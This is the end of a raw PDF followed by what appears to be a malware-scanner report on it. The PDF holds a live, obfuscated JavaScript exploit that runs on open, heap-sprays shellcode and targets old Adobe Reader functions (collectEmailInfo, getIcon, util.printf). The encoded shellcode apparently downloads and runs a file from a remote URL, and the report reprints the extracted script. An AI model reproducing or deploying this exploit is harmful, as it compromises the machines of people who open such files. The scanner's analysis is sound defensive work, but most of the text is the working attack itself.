2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K� � ��\�
D�3ĉ� R�� C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F $ �� � �� L�� g�NR� �q���� � ¹� b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ ��
�3��� � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@ �g �I A `� ���s ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π ��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't v��5f (�ϒ)�r ��c�����&h�; �WMC =S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s` �Pð�ۖm��(�ӈ�u�g� �Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l�
Pn �^� 3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^���� ��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s *��܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y�� F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A�� ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw� ��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt ;��'�w��� 5�F�9:��g�[����{Z]���� ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ� b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg� ]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l��� �t)��?�R��/N~����/t� ���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%�����*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$ � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++ � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. � ��5(��1��C��}F��&� ��%J�jAרg�%$�
."G�$�#��$ �W����J����MV ��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z�� ^�D �I�ܩ �$GjAy~ ���`�X 疝x��� 4�<�遟e4� W��r(���OǕO�� ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l� �_�u�8 Ӻ�� �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K��� [i{ ��� 4�*��a�C%>�Ө�
9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[ \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/ �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L s}�О�x �ƴn1�� ,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4 ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\"%09\\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"%45000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000010826 00000 n
0000013751 00000 n
0000000009 00000 n
0000000117 00000 n
0000002927 00000 n
0000003035 00000 n
0000005745 00000 n
0000005853 00000 n
0000008696 00000 n
0000008805 00000 n
0000010902 00000 n
0000011018 00000 n
0000011132 00000 n
0000011239 00000 n
0000011344 00000 n
0000011456 00000 n
0000013946 00000 n
0000013998 00000 n
0000026720 00000 n
0000027142 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery null-collapse from JavaScript object 18 at offset 0x36AE | 5998 bytes |
SHA-256: 856f9a146122e882220dfdb9c192e6b391cafbaba112fb633a6401357d4d95b4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"%09\");while(gHGLGbxHI.length < 